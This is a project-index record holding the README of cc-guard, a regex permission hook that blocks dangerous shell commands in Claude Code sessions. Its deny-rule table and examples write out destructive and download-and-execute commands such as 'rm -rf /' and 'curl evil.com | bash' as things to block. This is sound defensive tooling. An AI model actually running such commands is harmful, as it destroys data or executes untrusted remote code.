{"id":48889294,"url":"https://github.com/goosull/cc-guard","last_synced_at":"2026-04-16T07:02:17.733Z","repository":{"id":351702755,"uuid":"1211445957","full_name":"goosull/cc-guard","owner":"goosull","description":"Permission guard for Claude Code — block dangerous commands with regex, allow everything else. Zero prompts. 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Allow everything else. Zero prompts.\n\u003c/p\u003e\n\n\u003cp align=\"center\"\u003e\n  \u003ca href=\"#quick-start\"\u003eQuick Start\u003c/a\u003e\u0026nbsp;\u0026nbsp;\u0026bull;\u0026nbsp;\u0026nbsp;\u003ca href=\"#how-it-works\"\u003eHow It Works\u003c/a\u003e\u0026nbsp;\u0026nbsp;\u0026bull;\u0026nbsp;\u0026nbsp;\u003ca href=\"#default-deny-rules\"\u003eDefault Rules\u003c/a\u003e\u0026nbsp;\u0026nbsp;\u0026bull;\u0026nbsp;\u0026nbsp;\u003ca href=\"#migrate-from-settingsjson\"\u003eMigration\u003c/a\u003e\u0026nbsp;\u0026nbsp;\u0026bull;\u0026nbsp;\u0026nbsp;\u003ca href=\"#faq\"\u003eFAQ\u003c/a\u003e\n\u003c/p\u003e\n\n---\n\n## The Problem\n\nClaude Code's built-in permission system works like a **whitelist** — every new command needs explicit approval. After a week of real usage, your `settings.local.json` looks like this:\n\n```json\n{\n  \"permissions\": {\n    \"allow\": [\n      \"Bash(git fetch origin develop)\",\n      \"Bash(git checkout -b feature/VP-193-st-patricks-day-free origin/develop)\",\n      \"Bash(pnpm --filter web build)\",\n      \"Bash(grep -rn \\\"onContinueViralShorts\\\" ...)\",\n      // ... 92 more rules\n    ]\n  }\n}\n```\n\n**96 one-off rules.** Unmanageable. And you're still getting prompted for new commands.\n\n## The Fix\n\ncc-guard flips the model to a **blacklist**. Nine deny rules replace 96 allow entries:\n\n```\n Before                          After\n┌─────────────────────────┐    ┌─────────────────────────┐\n│ 96 specific allow rules │    │  9 deny rules           │\n│ Still getting prompted  │ -\u003e │  Zero prompts           │\n│ Grows every session     │    │  Dangerous cmds blocked │\n│ Can't share across PCs  │    │  One YAML file          │\n└─────────────────────────┘    └─────────────────────────┘\n```\n\n## Quick Start\n\n```bash\n# Clone and build\ngit clone https://github.com/goosull/cc-guard.git\ncd cc-guard \u0026\u0026 bun install \u0026\u0026 bun run build\n\n# Add to PATH (pick one)\necho 'export PATH=\"$HOME/Documents/cc-guard/dist:$PATH\"' \u003e\u003e ~/.zshrc\n# or\nln -s ~/Documents/cc-guard/dist/cc-guard /usr/local/bin/cc-guard\n\n# Initialize — creates ~/.cc-guard/ and registers the PreToolUse hook\ncc-guard init\n\n# Verify\ncc-guard status\n```\n\n**That's it.** Every Claude Code session — CLI, VS Code extension, web — now runs through cc-guard.\n\n## How It Works\n\ncc-guard registers as a [PreToolUse hook](https://code.claude.com/docs/en/hooks) in `~/.claude/settings.json`. Claude Code calls it **before every tool execution**:\n\n```\nClaude Code invokes a tool\n         │\n         ▼\n   cc-guard check         ← PreToolUse hook fires\n         │\n    ┌────┴────┐\n    │  Deny   │──── yes ──▶ Block (exit 2) + reason to Claude\n    │  match? │\n    └────┬────┘\n         │ no\n    ┌────┴────┐\n    │  Allow  │──── yes ──▶ Pass (exit 0)\n    │  match? │\n    └────┬────┘\n         │ no\n         ▼\n    Default: allow          ← Blacklist approach\n    (exit 0)\n```\n\n- **Runtime**: Pure regex matching. No AI calls. No network. **\u003c 20ms per check.**\n- **Fail-open**: If cc-guard crashes, Claude Code continues normally.\n- **Logged**: Every decision is recorded to `~/.cc-guard/sessions/` as JSONL.\n\n## Default Deny Rules\n\nOut of the box, cc-guard blocks these patterns:\n\n| Pattern | Catches | Why |\n|:--------|:--------|:----|\n| `^rm -rf ` | `rm -rf /`, `rm -rf ~/*` | Recursive force delete |\n| `^rm -r /` | `rm -r /etc`, `rm -r /usr` | Recursive delete from root |\n| `git push --force` | `git push --force origin main` | Force push overwrites history |\n| `git push .* --force` | `git push origin main --force` | Force push (flag after remote) |\n| `git reset --hard` | `git reset --hard HEAD~5` | Hard reset loses uncommitted work |\n| `^sudo ` | `sudo rm -rf /` | Elevated privileges |\n| `^chmod 777` | `chmod 777 /var/www` | World-writable permissions |\n| `curl .* \\| .*(bash\\|sh)` | `curl evil.com \\| bash` | Download and execute |\n| `wget .* -O- \\| .*(bash\\|sh)` | `wget evil.com -O- \\| sh` | Download and execute |\n\n**Deny always beats allow.** Even if `^git ` is in your allow list, `git push --force` is still blocked.\n\n## Compound Command Safety\n\ncc-guard doesn't just check the whole command — it **splits compound commands** and checks each part:\n\n```bash\n# Each segment is checked independently\necho \"safe\" \u0026\u0026 rm -rf /          # BLOCKED — rm -rf segment caught\ncd /tmp \u0026\u0026 sudo apt install      # BLOCKED — sudo segment caught\ngit fetch \u0026\u0026 git status          # ALLOWED — both segments safe\n\n# Quotes are respected\necho \"a \u0026\u0026 b\" \u0026\u0026 echo c          # Only splits on the unquoted \u0026\u0026\n\n# Splits on: \u0026\u0026 || ; | and newlines\n```\n\n## Migrate from settings.json\n\nAlready have dozens of rules in `settings.local.json`? Import and compress them:\n\n```bash\n$ cc-guard import .claude/settings.local.json\n\nFound 96 allow entries\nImport results:\n  96 entries → 12 generalized patterns\n  Skipped: 8 non-Bash entries\n\nNew patterns added:\n  + ^git\n  + ^pnpm\n  + ^node\n  + ^gh pr\n  ...\n```\n\n96 specific entries become ~12 general patterns. The original file is never modified.\n\n## Customize Your Rules\n\nEdit `~/.cc-guard/rules.yaml`:\n\n```yaml\nversion: 1\n\ndeny:\n  - pattern: \"^rm -rf \"\n    reason: \"Recursive force delete\"\n  - pattern: \"DROP TABLE\"\n    reason: \"SQL table drop\"           # Add your own\n\nallow:\n  - pattern: \"^git \"\n  - pattern: \"^pnpm \"\n  - pattern: \"^docker compose \"        # Add your own\n```\n\n**Project-specific rules** go in `~/.cc-guard/projects/{name}.yaml` and merge with global rules. Deny rules are always the union — a project can add deny rules but never remove global ones.\n\n## Auto-Learning\n\ncc-guard learns from your usage **automatically**. Every time a Claude Code session ends, it analyzes your decision history and suggests new rules.\n\n```\nSession ends\n     │\n     ▼\nSessionEnd hook fires\n     │\n     ▼\ncc-guard learn --auto\n     │\n     ├── Reads session logs (JSONL)\n     ├── Calls Claude CLI (your existing login — no API key needed)\n     ├── Validates suggestions (regex syntax, deny conflicts, back-testing)\n     └── Saves to ~/.cc-guard/pending-rules.yaml\n     \nNext session:\n     $ cc-guard diff     ← review suggestions\n     $ cc-guard apply    ← accept good ones\n```\n\n**Zero config.** Uses your existing Claude Code login via `claude -p`. No API key, no billing setup. Falls back to Anthropic SDK if the CLI is unavailable.\n\n## CLI Reference\n\n| Command | Description |\n|:--------|:------------|\n| `cc-guard init` | Create `~/.cc-guard/`, copy default rules, register hooks |\n| `cc-guard status` | Show rule counts and today's decision stats |\n| `cc-guard log [N]` | Show last N decisions with color-coded deny/allow |\n| `cc-guard import [path]` | Compress `settings.local.json` rules into YAML patterns |\n| `cc-guard learn` | Analyze session logs and suggest rule changes |\n| `cc-guard diff` | Preview pending rule suggestions |\n| `cc-guard apply` | Accept pending suggestions into rules.yaml |\n| `cc-guard check` | Hook entry point (called by Claude Code, not you) |\n\n## How cc-guard Compares\n\n| | cc-guard | Built-in permissions | [permissions-hook](https://github.com/kornysietsma/claude-code-permissions-hook) | [claude-hooks](https://github.com/liberzon/claude-hooks) |\n|:---|:---|:---|:---|:---|\n| Approach | Deny-first (blacklist) | Allow-first (whitelist) | Deny + allow | Reuses settings.json |\n| Compound commands | Split \u0026 check each | No splitting | Block all compounds | Full decomposition |\n| Config format | YAML | JSON (settings.json) | TOML | settings.json |\n| Rule migration | `cc-guard import` | Manual | Manual | N/A |\n| Session logging | JSONL per day | No | Audit log | No |\n| Auto-learning | LLM-powered (Claude CLI) | No | No | No |\n| Runtime | Bun (single binary) | Built-in | Rust | Python |\n| Latency | \u003c 20ms | 0ms | \u003c 5ms | ~50ms |\n\n## FAQ\n\n### Does cc-guard work with the VS Code extension?\n\n**Yes.** cc-guard registers in `~/.claude/settings.json` (global settings), which is read by all Claude Code environments — CLI, VS Code extension, and web app. Just make sure the `cc-guard` binary is in your PATH or use the absolute path in the hook config.\n\n### What happens if cc-guard crashes?\n\n**Nothing bad.** cc-guard is designed to fail-open. If the binary crashes, can't read the rules file, or receives malformed input, it exits with code 0 (allow). Your Claude Code session continues normally.\n\n### Can I use this alongside Claude Code's built-in permissions?\n\n**Yes.** PreToolUse hooks run **before** the built-in permission system. cc-guard handles the blacklist filtering, and Claude Code's built-in system handles everything else. They compose cleanly.\n\n### How do I temporarily disable cc-guard?\n\nRemove or comment out the hook in `~/.claude/settings.json`:\n\n```json\n{\n  \"hooks\": {\n    \"PreToolUse\": [\n      // {\n      //   \"matcher\": \"Bash\",\n      //   \"hooks\": [{ \"type\": \"command\", \"command\": \"cc-guard check\" }]\n      // }\n    ]\n  }\n}\n```\n\n### Does it support non-Bash tools (Read, Write, Edit)?\n\nThe engine supports matching against file paths for Read/Write/Edit/Glob tools, but the hook is currently registered with `matcher: \"Bash\"` only. Expanding to all tools is planned for a future release.\n\n## Architecture\n\n```\nsrc/\n├── cli.ts              Subcommand routing\n├── engine.ts           Regex matching engine\n│                       ├── normalizeInput()    — trim, collapse whitespace\n│                       ├── splitCompoundCommand() — handle \u0026\u0026, ||, ;, |\n│                       └── evaluate()          — deny → allow → default\n├── rules.ts            YAML loader + global/project merge\n├── logger.ts           JSONL session logger\n├── types.ts            Shared TypeScript types\n├── config.ts           Config file loader (~/.cc-guard/config.yaml)\n├── validator.ts        LLM suggestion validator (regex syntax, deny conflicts)\n└── commands/\n    ├── check.ts        PreToolUse hook (stdin → decision → exit code)\n    ├── init.ts         Setup ~/.cc-guard/ + register hook\n    ├── status.ts       Rule \u0026 session statistics\n    ├── log.ts          Decision history viewer\n    ├── import.ts       settings.local.json → YAML migration\n    ├── learn.ts        LLM-powered rule suggestion from session logs\n    ├── diff.ts         Preview pending rule suggestions\n    └── apply.ts        Accept suggestions into rules.yaml\n```\n\n## Roadmap\n\n- [x] **LLM-powered rule learning** — `cc-guard learn` analyzes session logs to suggest rules (v0.2.0)\n- [x] **Rule validation** — Regex syntax check + deny/allow conflict detection (v0.2.0)\n- [ ] **All-tool support** — Extend beyond Bash to Read, Write, Edit, MCP tools\n- [ ] **npm publish** — `npm install -g cc-guard` one-liner install\n- [ ] **Interactive deny** — Allow-once/allow-session for blocked commands\n\n## Requirements\n\n- [Bun](https://bun.sh/) v1.0+ (for building the binary)\n- [Claude Code](https://code.claude.com/) with hooks support\n\n## License\n\nMIT\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgoosull%2Fcc-guard","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fgoosull%2Fcc-guard","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgoosull%2Fcc-guard/lists"}